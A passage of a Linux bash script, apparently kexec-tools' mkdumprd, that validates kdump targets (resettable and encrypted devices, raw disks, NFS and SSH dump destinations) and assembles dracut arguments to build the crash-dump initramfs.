's/\(cciss[0-9]\+\/\).*/\1/g' -e 's/\/block\/.*$//')/resettable" if [[ -f $path ]]; then resettable="$(< "$path")" [[ $resettable -eq 0 ]] && [[ $OVERRIDE_RESETTABLE -eq 0 ]] && { device=$(udevadm info --query=all --path="/sys/dev/block/$1" | awk -F= '/DEVNAME/{print $2}') derror "Error: Can not save vmcore because device $device is unresettable" return 0 } fi return 1 } #check if machine is resettable. #return true if resettable check_resettable() { local _target _override_resettable _override_resettable=$(kdump_get_conf_val override_resettable) OVERRIDE_RESETTABLE=${_override_resettable:-$OVERRIDE_RESETTABLE} if [ "$OVERRIDE_RESETTABLE" != "0" ] && [ "$OVERRIDE_RESETTABLE" != "1" ]; then perror_exit "override_resettable value '$OVERRIDE_RESETTABLE' is invalid" fi for_each_block_target is_unresettable && return return 1 } check_crypt() { local _dev for _dev in $(get_kdump_targets); do if [[ -n $(get_luks_crypt_dev "$(get_maj_min "$_dev")") ]]; then derror "Device $_dev is encrypted." && return 1 fi done } if ! check_resettable; then exit 1 fi if ! check_crypt; then dwarn "Warning: Encrypted device is in dump path, which is not recommended, see kexec-kdump-howto.txt for more details." fi # firstly get right SSH_KEY_LOCATION keyfile=$(kdump_get_conf_val sshkey) if [[ -f $keyfile ]]; then # canonicalize the path SSH_KEY_LOCATION=$(/usr/bin/readlink -m "$keyfile") fi while read -r config_opt config_val; do # remove inline comments after the end of a directive. case "$config_opt" in extra_modules) extra_modules="$extra_modules $config_val" ;; ext[234] | xfs | btrfs | minix | nfs | virtiofs) check_user_configured_target "$config_val" "$config_opt" add_mount "$config_val" "$config_opt" ;; raw) # checking raw disk writable dd if="$config_val" count=1 of=/dev/null > /dev/null 2>&1 || { perror_exit "Bad raw disk $config_val" } _praw=$(persistent_policy="by-id" kdump_get_persistent_dev "$config_val") if [[ -z $_praw ]]; then exit 1 fi add_dracut_arg "--device" "$_praw" check_size raw "$config_val" ;; ssh) if strstr "$config_val" "@"; then mkdir_save_path_ssh "$config_val" check_size ssh "$config_val" add_dracut_sshkey "$SSH_KEY_LOCATION" else perror_exit "Bad ssh dump target $config_val" fi ;; core_collector) verify_core_collector "$config_val" ;; dracut_args) # When users specify nfs dumping via dracut_args, kexec-tools won't # mount nfs fs beforehand thus nfsv4-related drivers won't be installed # because we call dracut with --hostonly-mode strict. So manually install # nfsv4-related drivers. if [[ $(get_dracut_args_fstype "$config_val") == nfs* ]]; then add_dracut_arg "--add-drivers" nfs_layout_nfsv41_files fi while read -r dracut_arg; do add_dracut_arg "$dracut_arg" done <<< "$(echo "$config_val" | xargs -n 1 echo)" ;; *) ;; esac done <<< "$(kdump_read_conf)" handle_default_dump_target if ! have_compression_in_dracut_args; then if is_squash_available && dracut_have_option "--squash-compressor"; then add_dracut_arg "--squash-compressor" "zstd" elif is_zstd_command_available; then add_dracut_arg "--compress" "zstd" fi fi if [[ -n $extra_modules ]]; then add_dracut_arg "--add-drivers" "$extra_modules" fi # TODO: The below check is not needed anymore with the introduction of # 'zz-fadumpinit' module, that isolates fadump's capture kernel initrd, # but still sysroot.mount unit gets generated based on 'root=' kernel # parameter available in fadump case. So, find a way to fix that first # before removing this check. if ! is_fadump_capable; then # The 2nd rootfs mount stays behind the normal dump target mount, # so it doesn't affect the logic of check_dump_fs_modified(). is_dump_to_rootfs && add_mount "$(to_dev_name "$(get_root_fs_device)")" add_dracut_arg "--no-hostonly-default-device" if fips-mode-setup --is-enabled 2> /dev/null; then add_dracut_arg --add-device "$(findmnt -n -o SOURCE --target /boot)" fi fi # This is RHEL-only to work around nvme problem, then real fix should go to dracut if [[ -d /sys/module/nvme ]]; then add_dracut_arg "--add-drivers" "nvme" fi dracut "${dracut_args[@]}" "$@" _rc=$? sync exit $_rc
Close